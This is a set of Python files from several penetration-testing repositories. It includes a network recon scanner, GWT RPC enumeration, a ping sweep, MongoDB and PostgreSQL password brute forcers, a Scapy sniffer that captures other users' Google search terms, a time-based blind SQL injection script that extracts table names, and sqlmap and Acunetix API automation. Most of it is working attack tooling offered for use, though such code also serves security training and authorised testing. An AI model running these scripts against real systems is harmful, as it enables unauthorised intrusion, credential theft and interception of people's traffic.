multProc(sshEnum, ip_address, port) elif "smtp" in serv: for port in ports: port = port.split("/")[0] multProc(smtpEnum, ip_address, port) elif "snmp" in serv: for port in ports: port = port.split("/")[0] multProc(snmpEnum, ip_address, port) elif ("domain" in serv): for port in ports: port = port.split("/")[0] multProc(dnsEnum, ip_address, port) elif ("ftp" in serv): for port in ports: port = port.split("/")[0] multProc(ftpEnum, ip_address, port) elif "microsoft-ds" in serv: for port in ports: port = port.split("/")[0] multProc(smbEnum, ip_address, port) elif "ms-sql" in serv: for port in ports: port = port.split("/")[0] multProc(httpEnum, ip_address, port) print "INFO: TCP/UDP Nmap scans completed for " + ip_address return # grab the discover scan results and start scanning up hosts print "############################################################" print "#### RECON SCAN ####" print "#### A multi-process service scanner ####" print "#### http, ftp, dns, ssh, snmp, smtp, ms-sql ####" print "############################################################" if __name__=='__main__': f = open('results/exam/targets.txt', 'r') # CHANGE THIS!! grab the alive hosts from the discovery scan for enum for scanip in f: jobs = [] p = multiprocessing.Process(target=nmapScan, args=(scanip,)) jobs.append(p) p.start() f.close()
46.822581
334
0.597931
owtf
# -*- coding: utf-8 -*- """YAML loaders and dumpers for PyYAML allowing to keep keys order. Taken from https://github.com/fmenabe/python-yamlordereddictloader. """ import sys import yaml if float("%d.%d" % sys.version_info[:2]) < 2.7: from ordereddict import OrderedDict else: from collections import OrderedDict # ## Loaders # def construct_yaml_map(self, node): data = OrderedDict() yield data value = self.construct_mapping(node) data.update(value) def construct_mapping(self, node, deep=False): if isinstance(node, yaml.MappingNode): self.flatten_mapping(node) else: msg = "expected a mapping node, but found %s" % node.id raise yaml.constructor.ConstructError(None, None, msg, node.start_mark) mapping = OrderedDict() for key_node, value_node in node.value: key = self.construct_object(key_node, deep=deep) try: hash(key) except TypeError as err: raise yaml.constructor.ConstructError( "while constructing a mapping", node.start_mark, "found unacceptable key (%s)" % err, key_node.start_mark, ) value = self.construct_object(value_node, deep=deep) mapping[key] = value return mapping class Loader(yaml.Loader): def __init__(self, *args, **kwargs): yaml.Loader.__init__(self, *args, **kwargs) self.add_constructor("tag:yaml.org,2002:map", type(self).construct_yaml_map) self.add_constructor("tag:yaml.org,2002:omap", type(self).construct_yaml_map) construct_yaml_map = construct_yaml_map construct_mapping = construct_mapping class SafeLoader(yaml.SafeLoader): def __init__(self, *args, **kwargs): yaml.SafeLoader.__init__(self, *args, **kwargs) self.add_constructor("tag:yaml.org,2002:map", type(self).construct_yaml_map) self.add_constructor("tag:yaml.org,2002:omap", type(self).construct_yaml_map) construct_yaml_map = construct_yaml_map construct_mapping = construct_mapping # ## Dumpers # def represent_ordereddict(self, data): return self.represent_mapping("tag:yaml.org,2002:map", data.items()) class Dumper(yaml.Dumper): def __init__(self, *args, **kwargs): yaml.Dumper.__init__(self, *args, **kwargs) self.add_representer(OrderedDict, type(self).represent_ordereddict) represent_ordereddict = represent_ordereddict class SafeDumper(yaml.SafeDumper): def __init__(self, *args, **kwargs): yaml.SafeDumper.__init__(self, *args, **kwargs) self.add_representer(OrderedDict, type(self).represent_ordereddict) represent_ordereddict = represent_ordereddict
27.354167
85
0.651966
owtf
""" owtf.api.utils ~~~~~~~~~~~~~~ """ from tornado.routing import Matcher from tornado.web import RequestHandler class VersionMatches(Matcher): """Matches path by `version` regex.""" def __init__(self, api_version): self.api_version = api_version def match(self, request): if self.api_version in request.path: return {} header_version = request.headers.get("X-API-VERSION", None) if "v{}".format(header_version) in request.path: return {} return None def _filter_headers(header_str, simple_headers): header_str = header_str.lower().replace(" ", "").replace("\t", "") if not header_str: return set() header_set = set(value for value in header_str.split(",")) header_set.difference_update(simple_headers) header_set.difference_update("") return header_set
23.25
70
0.620413
GWT-Penetration-Testing-Toolset
#!/usr/bin/env python ''' GwtEnum v0.2 Copyright (C) 2010 Ron Gutierrez This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' import urllib2 import re import pprint import base64 import getpass from optparse import OptionParser desc = "A tool for enumerating GWT RPC methods" methods = [] proxy_url = "" basic_auth_encoded = "" def get_global_val( varname, html_file ): for html_line in html_file: match = re.match( ".*," + re.escape(varname) + "\=\'([A-Za-z0-9_\.\!\@\#\$\%\^\&\*\(\)" "\-\+\=\:\;\"\|\\\\/\?\>\,\<\~\`]+)\',", html_line ) if not match is None: return match.group(1) if __name__ == "__main__": parser = OptionParser( usage="usage: %prog [options]", description=desc, version='%prog 0.10' ) parser.add_option('-p', '--proxy', help="Proxy Host and Port (ie. -p \"http://proxy.internet.net:8080\")", action="store" ) parser.add_option('-b', '--basicauth', help="User Basic Authentication ( Will be prompted for creds )", action="store_true" ) parser.add_option('-k', '--cookies', help="Cookies to use when requesting the GWT Javascript Files (ie. -c \"JSESSIONID=AAAAAA\")", action="store") parser.add_option('-u', '--url', help="Required: GWT Application Entrypoint Javascript File (ie. *.nocache.js )", action="store") (options, args) = parser.parse_args() if options.url is None: print( "\nMissing URL\n" ) parser.print_help() exit() url = options.url gwt_docroot = '/'.join(url.split('/')[:-1])+'/' req = urllib2.Request(url) handlers = [ urllib2.HTTPHandler() ] if url.startswith( "https://" ): try: import ssl except ImportError: print "SSL support not installed - exiting" exit() handlers.append( urllib2.HTTPSHandler() ) if options.proxy: handlers.append( urllib2.ProxyHandler( {'http':'http://'+options.proxy}) ) opener = urllib2.build_opener(*handlers) urllib2.install_opener( opener ) if options.basicauth: username = raw_input( "Basic Auth Username: " ) password = getpass.getpass( "Basic Auth Password: " ) basic_auth_encoded = base64.encodestring( '%s:%s' % (username, password) ).strip() req.add_header( "Authorization", "Basic %s" % basic_auth_encoded ) if options.cookies: req.add_header( "Cookie", options.cookies ) response = urllib2.urlopen(req) the_page = response.read() html_files = re.findall( "([A-Z0-9]{30,35})", the_page ) if html_files is None: print( "\nNo Cached HTML Files found\n" ) exit() all_rpc_files = [] how_many_html_files_to_read = 1 for html_file in html_files: if how_many_html_files_to_read == 0: break how_many_html_files_to_read -= 1 async_error_mess = "" invoke_method = "" cache_html = "%s%s.cache.html" % (gwt_docroot, html_file ) print( "Analyzing %s" % cache_html ) req = urllib2.Request( cache_html ) if options.cookies: req.add_header( "Cookie", options.cookies ) if options.basicauth: req.add_header( "Authorization", "Basic %s" % basic_auth_encoded ) try: response = urllib2.urlopen(req) except urllib2.HTTPError: print( "404: Failed to Retrieve %s" % cache_html ) continue the_page = response.readlines() for line in the_page: # Service and Method name Enumeration rpc_method_match = re.match( "^function \w+\(.*method\:([A-Za-z0-9_\$]+),.*$", line ) if rpc_method_match: if rpc_method_match.group(1) == "a": continue rpc_js_function = rpc_method_match.group(0).split(';') service_and_method = "" method_name = get_global_val( rpc_method_match.group(1), the_page ) if method_name is None: continue methods.append( "%s( " % method_name.replace( '_Proxy.', '.' ) ) # Parameter Enumeration for i in range(0, len(rpc_js_function)): try_match = re.match( "^try{.*$", rpc_js_function[i] ) if try_match: i += 1 func_match = re.match( "^([A-Za-z0-9_\$]+)\(.*", rpc_js_function[i] ) payload_function = "" if func_match: payload_function = func_match.group(1) i += 1 param_match = re.match( "^"+re.escape(payload_function)+ "\([A-Za-z0-9_\$]+\.[A-Za-z0-9_\$]+,([A-Za-z0-9_\$]+)\)", rpc_js_function[i] ) num_of_params = 0 if param_match: num_of_params = int(get_global_val( param_match.group(1), the_page )) for j in range( 0, num_of_params ): i += 1 param_var_match = re.match( "^"+re.escape(payload_function)+ "\([A-Za-z0-9_\$]+\.[A-Za-z0-9_\$]+,[A-Za-z0-9_\$]+\+" "[A-Za-z0-9_\$]+\([A-Za-z0-9_\$]+,([A-Za-z0-9_\$]+)\)\)$", rpc_js_function[i] ) if param_var_match: param = get_global_val( param_var_match.group(1), the_page ) methods[-1] = methods[-1]+param+"," a_method = methods[-1][:-1] methods[-1] = a_method + " )" break line_decor = "\n===========================\n" print( "\n%sEnumerated Methods%s" % ( line_decor, line_decor ) ) methods = sorted(list(set(methods))) #uniq for method in methods: print( method ) print( "\n\n" )
35.900498
104
0.468716
Python-Penetration-Testing-for-Developers
import os import platform from datetime import datetime net = raw_input("Enter the Network Address ") net1= net.split('.') a = '.' net2 = net1[0]+a+net1[1]+a+net1[2]+a st1 = int(raw_input("Enter the Starting Number ")) en1 = int(raw_input("Enter the Last Number ")) en1=en1+1 oper = platform.system() if (oper=="Windows"): ping1 = "ping -n 1 " elif (oper== "Linux"): ping1 = "ping -c 1 " else : ping1 = "ping -c 1 " t1= datetime.now() print "Scanning in Progress" for ip in xrange(st1,en1): addr = net2+str(ip) comm = ping1+addr response = os.popen(comm) for line in response.readlines(): if(line.count("TTL")): break if (line.count("TTL")): print addr, "--> Live" t2= datetime.now() total =t2-t1 print "scanning complete in " , total
21.878788
50
0.655172
owtf
""" owtf.protocols.smtp ~~~~~~~~~~~~~~~~~~~ Description: This is the OWTF SMTP handler, to simplify sending emails. """ from email.mime import base, multipart, text as mimetext from email import encoders import logging import os import smtplib from owtf.utils.file import FileOperations, get_file_as_list __all__ = ["smtp"] class SMTP(object): def __init__(self): self.msg_prefix = "OWTF SMTP Client - " def pprint(self, message): logging.info(self.msg_prefix + message) def create_connection_with_mail_server(self, options): return smtplib.SMTP(options["SMTP_HOST"], int(options["SMTP_PORT"])) def connect(self, options): try: mail_server = self.create_connection_with_mail_server(options) mail_server.ehlo() except Exception: self.pprint("Error connecting to {!s} on port {!s}".format(options["SMTP_HOST"], options["SMTP_PORT"])) return None try: mail_server.starttls() # Give start TLS a shot except Exception as e: self.pprint("{} - Assuming TLS unsupported and trying to continue..".format(str(e))) try: mail_server.login(options["SMTP_LOGIN"], options["SMTP_PASS"]) except Exception as e: self.pprint("ERROR: {} - Assuming open-relay and trying to continue..".format(str(e))) return mail_server def is_file(self, target): return os.path.isfile(target) def get_file_content_as_list(self, options): return get_file_as_list(options["EMAIL_TARGET"]) def build_target_list(self, options): """Build a list of targets for simplification purposes.""" if self.is_file(options["EMAIL_TARGET"]): target_list = self.get_file_content_as_list(options) else: target_list = [options["EMAIL_TARGET"]] return target_list def send(self, options): num_errors = 0 for target in self.build_target_list(options): target = target.strip() if not target: continue # Skip blank lines! self.pprint("Sending email for target: {!s}".format(target)) try: message = self.build_message(options, target) mail_server = self.connect(options) if mail_server is None: raise Exception("Error connecting to {}".format(str(target))) mail_server.sendmail(options["SMTP_LOGIN"], target, message.as_string()) self.pprint("Email relay successful!") except Exception as e: logging.error("Error delivering email: %s", str(e)) num_errors += 1 return num_errors == 0 def build_message(self, options, target): message = multipart.MIMEMultipart() for name, value in list(options.items()): if name == "EMAIL_BODY": self.add_body(message, value) elif name == "EMAIL_ATTACHMENT": self.add_attachment(message, value) else: # From, To, Subject, etc. self.set_option(message, name, value, target) return message def set_option(self, message, option, value, target): if option == "EMAIL_FROM": message["From"] = value elif option == "EMAIL_TARGET": message["To"] = target elif option == "EMAIL_PRIORITY": if value == "yes": message["X-Priority"] = " 1 (Highest)" message["X-MSMail-Priority"] = " High" elif option == "EMAIL_SUBJECT": message["Subject"] = value def add_body(self, message, text): # If a file has been specified as Body, then set Body to file contents. if os.path.isfile(text): body = FileOperations.open(text).read().strip() else: body = text message.attach(mimetext.MIMEText(body, message)) def add_attachment(self, message, attachment): if not attachment: return False binary_blob = base.MIMEBase("application", "octet-stream") binary_blob.set_payload(FileOperations.open(attachment, "rb").read()) encoders.encode_base64(binary_blob) # base64 encode the Binary Blob. # Binary Blob headers. binary_blob.add_header("Content-Disposition", 'attachment; filename="{}"'.format(os.path.basename(attachment))) message.attach(binary_blob) return True smtp = SMTP()
35.5
119
0.589171
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printRed,printGreen from multiprocessing.dummy import Pool import pymongo class mongodb_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list("conf/mongodb.conf") def mongoDB_connect(self,ip,username,password,port): crack=0 try: connection=pymongo.Connection(ip,port) db=connection.admin db.collection_names() self.lock.acquire() printRed('%s mongodb service at %s allow login Anonymous login!!\r\n' %(ip,port)) self.result.append('%s mongodb service at %s allow login Anonymous login!!\r\n' %(ip,port)) self.lock.release() crack=1 except Exception,e: if e[0]=='database error: not authorized for query on admin.system.namespaces': try: r=db.authenticate(username,password) if r!=False: crack=2 else: self.lock.acquire() crack=3 print "%s mongodb service 's %s:%s login fail " %(ip,username,password) self.lock.release() except Exception,e: pass else: printRed('%s mongodb service at %s not connect' %(ip,port)) crack=4 return crack def mongoDB(self,ip,port): try: for data in self.lines: username=data.split(':')[0] password=data.split(':')[1] flag=self.mongoDB_connect(ip,username,password,port) if flag in [1,4]: break if flag==2: self.lock.acquire() printGreen("%s mongoDB at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.result.append("%s mongoDB at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.lock.release() break except Exception,e: pass def run(self,ipdict,pinglist,threads,file): if len(ipdict['mongodb']): printPink("crack mongodb now...") print "[*] start crack mongodb %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['mongodb']: pool.apply_async(func=self.mongoDB,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop mongoDB serice %s" % time.ctime() print "[*] crack mongoDB done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file) if __name__ == '__main__': import sys sys.path.append("../") from comm.config import * c=config() ipdict={'mongodb': ['112.90.23.158:27017']} pinglist=['192.168.1.1'] test=mongodb_burp(c) test.run(ipdict,pinglist,50,file="../result/test")
32.107843
129
0.505036
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import optparse from scapy.all import * def findGoogle(pkt): if pkt.haslayer(Raw): payload = pkt.getlayer(Raw).load if 'GET' in payload: if 'google' in payload: r = re.findall(r'(?i)\&q=(.*?)\&', payload) if r: search = r[0].split('&')[0] search = search.replace('q=', '').\ replace('+', ' ').replace('%20', ' ') print '[+] Searched For: ' + search def main(): parser = optparse.OptionParser('usage %prog -i '+\ '<interface>') parser.add_option('-i', dest='interface', \ type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: print '[*] Starting Google Sniffer.' sniff(filter='tcp port 80', prn=findGoogle) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main()
24.604651
59
0.509091
Penetration-Testing-Study-Notes
import requests chars = "abcdefghijklmnopqrstuvwxyz123456789*!$#/|&" for n in range(10): for i in range(1,21): for char in chars: r = requests.get("https://domain/ajs.php?buc=439'and+(select+sleep(10)+from+dual+where+\ substring((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()\ +limit+"+str(n)+",1),"+str(i)+",1)+like+'"+char+"')--+-") secs = r.elapsed.total_seconds() if secs > 10: print char, print "\n"
20.590909
96
0.64557
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-22 # @File : awvs_api.py # @Desc : "" import time import os import json import requests from flask import Flask from instance import config ProductionConfig = config.ProductionConfig app = Flask(__name__) app.config.from_object(ProductionConfig) requests.packages.urllib3.disable_warnings() class AcunetixScanner: def __init__(self): self.api_key = app.config.get('AWVS_API_KEY') self.scanner_url = app.config.get('AWVS_URL') self.awvs_report_path = app.config.get('AWVS_REPORT_PATH') self.scan_result = {} self.all_tasks = [] self.report_url = [] self.headers = { "X-Auth": self.api_key, "content-type": "application/json" } def new_scan(self, target, desc): data = { "address": target, "description": desc, "criticality": "10" } try: response = requests.post(self.scanner_url + "/api/v1/targets", data=json.dumps(data), headers=self.headers, timeout=30, verify=False) return json.loads(response.content)['target_id'] except Exception as e: print(target, e) return False def start_task(self, target, desc, profile_id): profile_id_list = {'0': '11111111-1111-1111-1111-111111111111', '1': '11111111-1111-1111-1111-111111111112', '2': '11111111-1111-1111-1111-111111111116', '3': '11111111-1111-1111-1111-111111111113', '4': '11111111-1111-1111-1111-111111111115', '5': '11111111-1111-1111-1111-111111111117'} profile_id = profile_id_list[profile_id] target_id = self.new_scan(target, desc) data = { "target_id": target_id, "profile_id": profile_id, "schedule": { "disable": False, "start_date": None, "time_sensitive": False } } try: response = requests.post(self.scanner_url + "/api/v1/scans", data=json.dumps(data), headers=self.headers, timeout=30, verify=False) return json.loads(response.content) except Exception as e: print(target, target_id, e) return False def get_all(self): try: response = requests.get(self.scanner_url + "/api/v1/scans", headers=self.headers, timeout=30, verify=False) results = json.loads(response.content) task_info = {} for task in results['scans']: task_info['scan_id'] = task['scan_id'] task_info['target_id'] = task['target_id'] task_info['address'] = task['target']['address'] task_info['desc'] = task['target']['description'] task_info['profile_name'] = task['profile_name'] task_info['status'] = task['current_session']['status'] task_info['vul_high'] = task['current_session']['severity_counts']['high'] task_info['vul_medium'] = task['current_session']['severity_counts']['medium'] task_info['vul_low'] = task['current_session']['severity_counts']['low'] task_info['vul_info'] = task['current_session']['severity_counts']['info'] task_info['start_date'] = task['current_session']['start_date'][0:19].replace('T', ' ') self.all_tasks.append(task_info) task_info = {} return self.all_tasks except Exception as e: raise e def delete_scan(self, scan_id): try: response = requests.delete(self.scanner_url + "/api/v1/scans/" + str(scan_id), headers=self.headers, timeout=30, verify=False) if response.status_code == 204: return True else: return False except Exception as e: print(scan_id, e) return False def delete_target(self, target_id): try: response = requests.delete(self.scanner_url + "/api/v1/targets/" + str(target_id), headers=self.headers, timeout=30, verify=False) if response.status_code == 204: return True else: return False except Exception as e: print(target_id, e) return False def reports(self, id_list, list_type, task_name): # list_type = "scans", 'targets' ... data = { "template_id": "11111111-1111-1111-1111-111111111111", "source": { "list_type": list_type, "id_list": id_list } } try: response = requests.post(self.scanner_url + "/api/v1/reports", headers=self.headers, data=json.dumps(data), timeout=30, verify=False) if response.status_code == 201: while True: res_down = requests.get(self.scanner_url + response.headers['Location'], headers=self.headers, timeout=30, verify=False) if json.loads(res_down.content)['status'] == "completed": for report_url in json.loads(res_down.content)['download']: report_res = requests.get(self.scanner_url + report_url, timeout=30, verify=False) report_name = time.strftime("%y%m%d", time.localtime()) + "_" + task_name[0] + '.' + report_url.split('.')[-1] if os.path.exists(self.awvs_report_path + report_name): os.remove(self.awvs_report_path + report_name) with open(self.awvs_report_path + report_name, "wb") as report_content: report_content.write(report_res.content) self.report_url.append(report_name) return self.report_url else: return False except Exception as e: print(id_list, e) return False
40.835526
138
0.516986
Effective-Python-Penetration-Testing
import mechanize url = "http://www.webscantest.com/datastore/search_by_id.php" browser = mechanize.Browser() attackNumber = 1 with open('attack-vector.txt') as f: for line in f: browser.open(url) browser.select_form(nr=0) browser["id"] = line res = browser.submit() content = res.read() output = open('response/'+str(attackNumber)+'.txt', 'w') output.write(content) output.close() print attackNumber attackNumber += 1
22.578947
61
0.684564
Effective-Python-Penetration-Testing
from bs4 import BeautifulSoup import re parse = BeautifulSoup('<html><head><title>Title of the page</title></head><body><p id="para1" align="center">This is a paragraph<b>one</b><a href="http://example1.com">Example Link 1</a> </p><p id="para2">This is a paragraph<b>two</b><a href="http://example.2com">Example Link 2</a></p></body></html>') print parse.prettify() <html> <head> <title> Title of the page </title> </head> <body> <p align="center" id="para1"> This is a paragraph <b> one </b> <a href="http://example1.com"> Example Link 1 </a> </p> <p id="para2"> This is a paragraph <b> two </b> <a href="http://example.2com"> Example Link 2 </a> </p> </body> </html>
19.527778
302
0.596206
cybersecurity-penetration-testing
import time, dpkt import plotly.plotly as py from plotly.graph_objs import * from datetime import datetime filename = 'hbot.pcap' full_datetime_list = [] dates = [] for ts, pkt in dpkt.pcap.Reader(open(filename,'rb')): eth=dpkt.ethernet.Ethernet(pkt) if eth.type!=dpkt.ethernet.ETH_TYPE_IP: continue ip = eth.data tcp=ip.data if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP): continue if tcp.dport == 21 or tcp.sport == 21: full_datetime_list.append((ts, str(time.ctime(ts)))) for t,d in full_datetime_list: if d not in dates: dates.append(d) dates.sort(key=lambda date: datetime.strptime(date, "%a %b %d %H:%M:%S %Y")) datecount = [] for d in dates: counter = 0 for d1 in full_datetime_list: if d1[1] == d: counter += 1 datecount.append(counter) data = Data([ Scatter( x=dates, y=datecount ) ]) plot_url = py.plot(data, filename='FTP Requests')
19.94
77
0.580306
cybersecurity-penetration-testing
import shelve def create(): shelf = shelve.open("mohit.raj", writeback=True) shelf['desc'] ={} shelf.close() print "Dictionary is created" def update(): shelf = shelve.open("mohit.raj", writeback=True) data=(shelf['desc']) port =int(raw_input("Enter the Port: ")) data[port]= raw_input("\n Enter the description\t") shelf.close() def del1(): shelf = shelve.open("mohit.raj", writeback=True) data=(shelf['desc']) port =int(raw_input("Enter the Port: ")) del data[port] shelf.close() print "\nEntry is deleted" def list1(): print "*"*30 shelf = shelve.open("mohit.raj", writeback=True) data=(shelf['desc']) for key, value in data.items(): print key, ":", value print "*"*30 print "\t Program to update or Add and Delete the port number detail\n" while(True): print "Press" print "C for create only one time create" print "U for Update or Add \nD for delete" print "L for list the all values " print "E for Exit " c=raw_input("Enter : ") if (c=='C' or c=='c'): create() elif (c=='U' or c=='u'): update() elif(c=='D' or c=='d'): del1() elif(c=='L' or c=='l'): list1() elif(c=='E' or c=='e'): exit() else: print "\t Wrong Input"
19.274194
71
0.592357
owtf
""" ACTIVE Plugin for Unauthenticated Nikto testing This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Active Vulnerability Scanning without credentials via nikto" def run(PluginInfo): NiktoOutput = plugin_helper.CommandDump( "Test Command", "Output", get_resources("Nikto_Unauth"), PluginInfo, [] ) Content = plugin_helper.CommandDump( "Test Command", "Output", get_resources("Nikto_Verify_Unauth"), PluginInfo, NiktoOutput, ) return Content + NiktoOutput # Show Nikto Verify FIRST (more useful, with links to findings, etc)
32.043478
102
0.704875
Hands-On-Penetration-Testing-with-Python
import requests import json import time import pprint class SqliAutomate(): def __init__(self,url,other_params={}): self.url=url self.other=other_params def start_polling(self,task_id): try: time.sleep(30) poll_resp=requests.get("http://127.0.0.1:8775/scan/"+task_id+"/log") pp = pprint.PrettyPrinter(indent=4) #print(poll_resp.json()) pp.pprint(poll_resp.json()) except Exception as ex: print("Exception caught : " +str(ex)) def start(self): try: task_resp=requests.get("http://127.0.0.1:8775/task/new") data=task_resp.json() if data.get("success","") ==True: task_id=data.get("taskid") print("Task id : "+str(task_id)) data_={'url':self.url} data_.update(self.other) opt_resp=requests.post("http://127.0.0.1:8775/option/"+task_id+"/set",json=data_) if opt_resp.json().get("success")==True: start_resp=requests.post("http://127.0.0.1:8775/scan/"+task_id+"/start",json=data_) if start_resp.json().get("success")==True: print("Scan Started successfully .Now polling\n") self.start_polling(task_id) except Exception as ex: print("Exception : "+str(ex)) other={'cookie':'PHPSESSID=7brq7o2qf68hk94tan3f14atg4;security=low'} obj=SqliAutomate('http://192.168.250.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit',other) obj.start()
36.44186
103
0.547545
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from multiprocessing.dummy import Pool import psycopg2 import re def postgres_connect(ip,username,password,port): crack =0 try: db=psycopg2.connect(user=username, password=password, host=ip, port=port) if db: crack=1 db.close() except Exception, e: if re.findall(".*Password.*",e[0]): lock.acquire() print "%s postgres's %s:%s login fail" %(ip,username,password) lock.release() crack=2 else: lock.acquire() print "connect %s postgres service at %s login fail " %(ip,port) lock.release() crack=3 pass return crack def postgreS(ip,port): try: d=open('conf/postgres.conf','r') data=d.readline().strip('\r\n') while(data): username=data.split(':')[0] password=data.split(':')[1] flag=postgres_connect(ip,username,password,port) time.sleep(0.1) if flag==3: break if flag==1: lock.acquire() printGreen("%s postgres at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) result.append("%s postgres at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) lock.release() break data=d.readline().strip('\r\n') except Exception,e: print e pass def postgres_main(ipdict,threads): printPink("crack postgres now...") print "[*] start postgres %s" % time.ctime() starttime=time.time() global lock lock = threading.Lock() global result result=[] pool=Pool(threads) for ip in ipdict['postgres']: pool.apply_async(func=postgreS,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop crack postgres %s" % time.ctime() print "[*] crack postgres done,it has Elapsed time:%s " % (time.time()-starttime) return result
29.356164
121
0.536795
owtf
""" tests.suite.categories ~~~~~~~~~~~~~~~~~~~~~~ Test categories. """ from tests.functional.cli.test_empty_run import OWTFCliEmptyRunTest from tests.functional.cli.test_list_plugins import OWTFCliListPluginsTest from tests.functional.cli.test_nowebui import OWTFCliNoWebUITest from tests.functional.cli.test_scope import OWTFCliScopeTest from tests.functional.cli.test_except import OWTFCliExceptTest from tests.functional.cli.test_only import OWTFCliOnlyPluginsTest from tests.functional.plugins.web.test_web import OWTFCliWebPluginTest from tests.functional.plugins.web.active.test_web_active import OWTFCliWebActivePluginTest SUITES = [ OWTFCliEmptyRunTest, OWTFCliListPluginsTest, OWTFCliNoWebUITest, OWTFCliScopeTest, OWTFCliExceptTest, OWTFCliOnlyPluginsTest, OWTFCliWebPluginTest, OWTFCliWebActivePluginTest, ]
31.846154
90
0.807737
owtf
""" tests.utils ~~~~~~~~~~~ Miscellaneous functions for test cases """ import os import shutil import subprocess DIR_OWTF_REVIEW = "owtf_review" DIR_OWTF_LOGS = "logs" def db_setup(cmd): """Reset OWTF database.""" if cmd not in ["clean", "init"]: return formatted_cmd = "make db-{}".format(cmd) pwd = os.getcwd() db_process = subprocess.Popen( "/usr/bin/echo '\n' | %s %s" % (os.path.join(pwd), formatted_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) db_process.wait() def clean_owtf_review(): """Remove OWTF owtf_review output directory.""" pwd = os.getcwd() shutil.rmtree(os.path.join(pwd, DIR_OWTF_REVIEW), ignore_errors=True) def load_log( name, dir_owtf_review=DIR_OWTF_REVIEW, dir_owtf_logs=DIR_OWTF_LOGS, absolute_path=False, ): """Read the file 'name' and returns its content.""" if not name.endswith(".log"): name += ".log" if not absolute_path: fullpath = os.path.join(os.getcwd(), dir_owtf_review, dir_owtf_logs, name ) else: fullpath = name with open(fullpath, "r") as f: return f.readlines()
21.163636
74
0.58867
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 class ASP_Parent(): def __init__(self,pub,prot,priv): self.public=pub self._protected=prot self.__private=priv class ASP_child(ASP_Parent): def __init(self,pub,prot,priv): super().__init__(pub,prot,priv) def printMembers(self): try: print("Public is :" + str(self.public)) print("Protected is : " + str(self._protected)) print("Private is : " + str(self.__private)) except Exception as ex: print("Ex: " +str(ex)) #pr=ASP_Parent() print("Private is : " +str(self._ASP_Parent__private)) ch=ASP_child(1,2,3) ch.printMembers() print("Public outside :"+str(ch.public)) print("Protceted outside :"+str(ch._protected)) print("Private outside :"+str(ch._ASP_Parent__private))
24.275862
57
0.651639
cybersecurity-penetration-testing
#!/usr/bin/env python import ctypes import os from os.path import join import sys # load shared library libcap2 = ctypes.cdll.LoadLibrary('libcap.so.2') class cap2_smart_char_p(ctypes.c_char_p): """Implements a smart pointer to a string allocated by libcap2.so.2""" def __del__(self): libcap2.cap_free(self) # note to ctypes: cap_to_text() returns a pointer # that needs automatic deallocation libcap2.cap_to_text.restype = cap2_smart_char_p def caps_from_file(filename): """Returns the capabilities of the given file as text""" cap_t = libcap2.cap_get_file(filename) if cap_t == 0: return '' return libcap2.cap_to_text(cap_t, None).value def get_caps_list(basepath): """Collects file capabilities of a directory tree. Arguments: basepath -- directory to start from""" result = {} for root, dirs, files in os.walk(basepath): for f in files: fullname = join(root, f) caps = caps_from_file(fullname) if caps != '': result[fullname] = caps return result if __name__ == '__main__': if len(sys.argv) < 2: print 'Usage %s root_directory' % sys.argv[0] sys.exit(1) capabilities = get_caps_list(sys.argv[1]) for filename, caps in capabilities.iteritems(): print "%s: %s" % (filename, caps)
23.8
60
0.624358
cybersecurity-penetration-testing
# Importing required modules import requests from bs4 import BeautifulSoup import urlparse response = requests.get('http://www.freeimages.co.uk/galleries/food/breakfast/index.htm') parse = BeautifulSoup(response.text) # Get all image tags image_tags = parse.find_all('img') # Get urls to the images images = [ url.get('src') for url in image_tags] # If no images found in the page if not images: sys.exit("Found No Images") # Convert relative urls to absolute urls if any images = [urlparse.urljoin(response.url, url) for url in images] print 'Found %s images' % len(images) # Download images to downloaded folder for url in images: r = requests.get(url) f = open('downloaded/%s' % url.split('/')[-1], 'w') f.write(r.content) f.close() print 'Downloaded %s' % url
24.28125
91
0.694307
Hands-On-Penetration-Testing-with-Python
